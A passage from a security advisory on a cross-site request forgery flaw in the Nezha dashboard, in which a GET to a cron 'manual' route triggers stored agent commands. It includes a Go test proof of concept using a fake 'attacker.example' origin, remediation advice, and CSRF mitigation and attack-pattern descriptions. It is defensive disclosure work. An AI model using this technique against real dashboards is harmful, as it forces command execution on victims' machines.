victim\u0027s own task or an admin\u0027s task, but CSRF abuses the victim\u0027s browser/session to satisfy that check.\n\n### PoC\n\nSafe local proof used a Go test overlay only; no repository files were modified for the proof and no real command was executed. The test creates an in-memory SQLite database, a victim user, a victim-owned server with an in-memory fake task stream, and a victim-owned cron task with command text `touch /tmp/should-not-run`. It then performs two requests:\n\n1. Negative control: cross-site-style GET without the `nz-jwt` cookie. Expected result: response contains `ApiErrorUnauthorized`; zero tasks are dispatched.\n2. Positive proof: cross-site-style GET with the victim\u0027s `nz-jwt` cookie. Expected result: API response succeeds and exactly one task is dispatched to the fake agent stream with `Id=7`, `Type=model.TaskTypeCommand`, and `Data=\"touch /tmp/should-not-run\"`.\n\nCommand run from a clean checkout of the tested tree:\n\n```bash\ncat \u003e/tmp/nezha-docs-stub.go \u003c\u003c\u0027EOF\u0027\npackage docs\n\nvar SwaggerInfo = struct {\n\tVersion string\n}{Version: \"test\"}\nEOF\n\ncat \u003e/tmp/nezha-cron-csrf-poc-test.go \u003c\u003c\u0027EOF\u0027\npackage controller\n\nimport (\n\t\"context\"\n\t\"encoding/json\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"strings\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/gin-gonic/gin\"\n\t\"github.com/patrickmn/go-cache\"\n\t\"google.golang.org/grpc/metadata\"\n\t\"gorm.io/driver/sqlite\"\n\t\"gorm.io/gorm\"\n\n\t\"github.com/nezhahq/nezha/model\"\n\t\"github.com/nezhahq/nezha/pkg/i18n\"\n\tpb \"github.com/nezhahq/nezha/proto\"\n\t\"github.com/nezhahq/nezha/service/singleton\"\n)\n\ntype capturedTaskStream struct { tasks []*pb.Task }\n\nfunc (s *capturedTaskStream) Send(task *pb.Task) error { s.tasks = append(s.tasks, task); return nil }\nfunc (s *capturedTaskStream) Recv() (*pb.TaskResult, error) { return nil, context.Canceled }\nfunc (s *capturedTaskStream) SetHeader(metadata.MD) error { return nil }\nfunc (s *capturedTaskStream) SendHeader(metadata.MD) error { return nil }\nfunc (s *capturedTaskStream) SetTrailer(metadata.MD) {}\nfunc (s *capturedTaskStream) Context() context.Context { return context.Background() }\nfunc (s *capturedTaskStream) SendMsg(any) error { return nil }\nfunc (s *capturedTaskStream) RecvMsg(any) error { return context.Canceled }\n\nfunc TestCronManualTriggerAcceptsCookieAuthenticatedCrossSiteGET(t *testing.T) {\n\tgin.SetMode(gin.TestMode)\n\tdb, err := gorm.Open(sqlite.Open(\"file:cron_csrf_poc?mode=memory\u0026cache=shared\"), \u0026gorm.Config{})\n\tif err != nil { t.Fatal(err) }\n\tif err := db.AutoMigrate(\u0026model.User{}, \u0026model.Server{}, \u0026model.Cron{}); err != nil { t.Fatal(err) }\n\tif err := db.Create(\u0026model.User{Common: model.Common{ID: 100}, Username: \"victim\", Role: model.RoleMember}).Error; err != nil { t.Fatal(err) }\n\tif err := db.Create(\u0026model.Server{Common: model.Common{ID: 200, UserID: 100}, Name: \"victim-agent\"}).Error; err != nil { t.Fatal(err) }\n\n\tsingleton.DB = db\n\tsingleton.Loc = time.UTC\n\tsingleton.Cache = cache.New(time.Minute, time.Minute)\n\tsingleton.Localizer = i18n.NewLocalizer(\"en_US\", \"nezha\", \"translations\", i18n.Translations)\n\tsingleton.Conf = \u0026singleton.ConfigClass{Config: \u0026model.Config{ConfigForGuests: model.ConfigForGuests{SiteName: \"test\"}, JWTSecretKey: \"test-secret-for-cron-csrf-poc\", JWTTimeout: 1}}\n\tsingleton.ServerShared = singleton.NewServerClass()\n\tsingleton.CronShared = singleton.NewCronClass()\n\tdefer singleton.CronShared.Stop()\n\n\tstream := \u0026capturedTaskStream{}\n\tserver, ok := singleton.ServerShared.Get(200)\n\tif !ok { t.Fatal(\"server missing from singleton\") }\n\tserver.TaskStream = stream\n\n\tcronTask := \u0026model.Cron{Common: model.Common{ID: 7, UserID: 100}, Name: \"victim cron\", TaskType: model.CronTypeCronTask, Command: \"touch /tmp/should-not-run\", Servers: []uint64{200}, Cover: model.CronCoverIgnoreAll}\n\tsingleton.CronShared.Update(cronTask)\n\n\tauthMiddleware := initParams()\n\tif err := authMiddleware.MiddlewareInit(); err != nil { t.Fatal(err) }\n\ttoken, _, err := authMiddleware.TokenGenerator(map[string]interface{}{\"user_id\": \"100\", \"ip\": \"203.0.113.10\"})\n\tif err != nil { t.Fatal(err) }\n\n\tr := gin.New()\n\tr.Use(func(c *gin.Context) { c.Set(model.CtxKeyRealIPStr, \"203.0.113.10\"); c.Next() })\n\tauth := r.Group(\"\", authMiddleware.MiddlewareFunc())\n\tauth.GET(\"/api/v1/cron/:id/manual\", commonHandler(manualTriggerCron))\n\n\twNoCookie := httptest.NewRecorder()\n\treqNoCookie := httptest.NewRequest(http.MethodGet, \"/api/v1/cron/7/manual\", nil)\n\treqNoCookie.Header.Set(\"Origin\", \"https://attacker.example\")\n\treqNoCookie.Header.Set(\"Sec-Fetch-Site\", \"cross-site\")\n\tr.ServeHTTP(wNoCookie, reqNoCookie)\n\tif !strings.Contains(wNoCookie.Body.String(), \"ApiErrorUnauthorized\") { t.Fatalf(\"expected unauthenticated control to fail, got status=%d body=%s\", wNoCookie.Code, wNoCookie.Body.String()) }\n\tif len(stream.tasks) != 0 { t.Fatalf(\"unauthenticated control dispatched %d task(s)\", len(stream.tasks)) }\n\n\tw := httptest.NewRecorder()\n\treq := httptest.NewRequest(http.MethodGet, \"/api/v1/cron/7/manual\", nil)\n\treq.Header.Set(\"Origin\", \"https://attacker.example\")\n\treq.Header.Set(\"Sec-Fetch-Site\", \"cross-site\")\n\treq.AddCookie(\u0026http.Cookie{Name: \"nz-jwt\", Value: token})\n\tr.ServeHTTP(w, req)\n\n\tvar resp struct { Success bool `json:\"success\"`; Error string `json:\"error\"` }\n\tif err := json.Unmarshal(w.Body.Bytes(), \u0026resp); err != nil { t.Fatalf(\"decode response: %v body=%s\", err, w.Body.String()) }\n\tif !resp.Success { t.Fatalf(\"manual trigger failed: status=%d body=%s\", w.Code, w.Body.String()) }\n\tif len(stream.tasks) != 1 { t.Fatalf(\"expected one dispatched task, got %d\", len(stream.tasks)) }\n\tdispatched := stream.tasks[0]\n\tif dispatched.Id != 7 || dispatched.Type != model.TaskTypeCommand || dispatched.Data != \"touch /tmp/should-not-run\" { t.Fatalf(\"unexpected dispatched task: id=%d type=%d data=%q\", dispatched.Id, dispatched.Type, dispatched.Data) }\n}\nEOF\n\ncat \u003e/tmp/nezha-overlay-cron-csrf.json \u003c\u003c\u0027EOF\u0027\n{\n \"Replace\": {\n \"/path/to/nezha/cmd/dashboard/docs/docs.go\": \"/tmp/nezha-docs-stub.go\",\n \"/path/to/nezha/cmd/dashboard/controller/cron_csrf_poc_test.go\": \"/tmp/nezha-cron-csrf-poc-test.go\"\n }\n}\nEOF\n# Replace /path/to/nezha above with the local checkout path, then run:\ngo test -vet=off -overlay=/tmp/nezha-overlay-cron-csrf.json ./cmd/dashboard/controller -run TestCronManualTriggerAcceptsCookieAuthenticatedCrossSiteGET -count=1 -v\n```\n\nObserved output in this environment:\n\n```text\n=== RUN TestCronManualTriggerAcceptsCookieAuthenticatedCrossSiteGET\n--- PASS: TestCronManualTriggerAcceptsCookieAuthenticatedCrossSiteGET (0.00s)\nPASS\nok \tgithub.com/nezhahq/nezha/cmd/dashboard/controller\t0.019s\n```\n\nThe `-vet=off` flag was only needed because this checkout lacks the generated `cmd/dashboard/docs` directory and Go vet still tries to `chdir` into the overlay-created package directory. The overlay includes a minimal `docs` package stub so the controller package can compile without generating Swagger files.\n\nCleanup:\n\n```bash\nrm -f /tmp/nezha-docs-stub.go /tmp/nezha-cron-csrf-poc-test.go /tmp/nezha-overlay-cron-csrf.json\n```\n\n### Impact\n\nA remote attacker can cause a logged-in dashboard user to trigger an existing cron task by making the user\u0027s browser navigate to `/api/v1/cron/\u003cknown-id\u003e/manual`. If that cron task dispatches an agent command, the command is sent to the victim\u0027s online agent without the victim intentionally clicking the manual trigger in the dashboard.\n\nSecurity impact is integrity and availability:\n\n- Integrity: forced execution of a stored command on victim-controlled agents.\n- Availability: forced execution of disruptive stored tasks, repeated task starts, or repeated notifications/offline failure paths.\n- Confidentiality: not directly demonstrated; the PoC does not show data exfiltration.\n\n### Suggested remediation\n\n- Make manual cron triggering a non-idempotent method such as `POST /api/v1/cron/:id/manual` instead of GET.\n- Require a CSRF token for cookie-authenticated state-changing requests, or reject unsafe cross-site requests with `Origin`/`Referer` and Fetch Metadata validation.\n- Consider not accepting JWTs from cookies for state-changing API calls unless a CSRF token is present.\n- Add a regression test that sends a cross-site-style GET with a valid cookie and asserts no cron task is dispatched.\n- If frontend compatibility requires cookies, keep `SameSite=Lax` or stricter, but do not rely on it to protect state-changing GET routes.",
"id": "GHSA-8qhj-4f8c-j8qg",
"modified": "2026-06-26T21:28:58Z",
"published": "2026-06-10T13:39:21Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nezhahq/nezha/security/advisories/GHSA-8qhj-4f8c-j8qg"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49396"
},
{
"type": "PACKAGE",
"url": "https://github.com/nezhahq/nezha"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "Nezha has cross-site GET request that can trigger stored cron commands on a victim\u0027s agents"
}
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- For example, use anti-CSRF packages such as the OWASP CSRFGuard. [REF-330]
- Another example is the ESAPI Session Management control, which includes a component for CSRF. [REF-45]
Mitigation
Ensure that the application is free of cross-site scripting issues (CWE-79), because most CSRF defenses can be bypassed using attacker-controlled script.
Mitigation
Generate a unique nonce for each form, place the nonce into the form, and verify the nonce upon receipt of the form. Be sure that the nonce is not predictable (CWE-330). [REF-332]
Mitigation
Identify especially dangerous operations. When the user performs a dangerous operation, send a separate confirmation request to ensure that the user intended to perform that operation.
Mitigation
- Use the "double-submitted cookie" method as described by Felten and Zeller:
- When a user visits a site, the site should generate a pseudorandom value and set it as a cookie on the user's machine. The site should require every form submission to include this value as a form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same.
- Because of the same-origin policy, an attacker cannot read or modify the value stored in the cookie. To successfully submit a form on behalf of the user, the attacker would have to correctly guess the pseudorandom value. If the pseudorandom value is cryptographically strong, this will be prohibitively difficult.
- This technique requires Javascript, so it may not work for browsers that have Javascript disabled. [REF-331]
Mitigation
Do not use the GET method for any request that triggers a state change.
Mitigation
Check the HTTP Referer header to see if the request originated from an expected page. This could break legitimate functionality, because users or proxies may have disabled sending the Referer for privacy reasons.
CAPEC-111: JSON Hijacking (aka JavaScript Hijacking)
An attacker targets a system that uses JavaScript Object Notation (JSON) as a transport mechanism between the client and the server (common in Web 2.0 systems using AJAX) to steal possibly confidential information transmitted from the server back to the client inside the JSON object by taking advantage of the loophole in the browser's Same Origin Policy that does not prohibit JavaScript from one website to be included and executed in the context of another website.
CAPEC-462: Cross-Domain Search Timing
An attacker initiates cross domain HTTP / GET requests and times the server responses. The timing of these responses may leak important information on what is happening on the server. Browser's same origin policy prevents the attacker from directly reading the server responses (in the absence of any other weaknesses), but does not prevent the attacker from timing the responses to requests that the attacker issued cross domain.
CAPEC-467: Cross Site Identification
An attacker harvests identifying information about a victim via an active session that the victim's browser has with a social networking site. A victim may have the social networking site open in one tab or perhaps is simply using the "remember me" feature to keep their session with the social networking site active. An attacker induces a payload to execute in the victim's browser that transparently to the victim initiates a request to the social networking site (e.g., via available social network site APIs) to retrieve identifying information about a victim. While some of this information may be public, the attacker is able to harvest this information in context and may use it for further attacks on the user (e.g., spear phishing).
CAPEC-62: Cross Site Request Forgery
An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.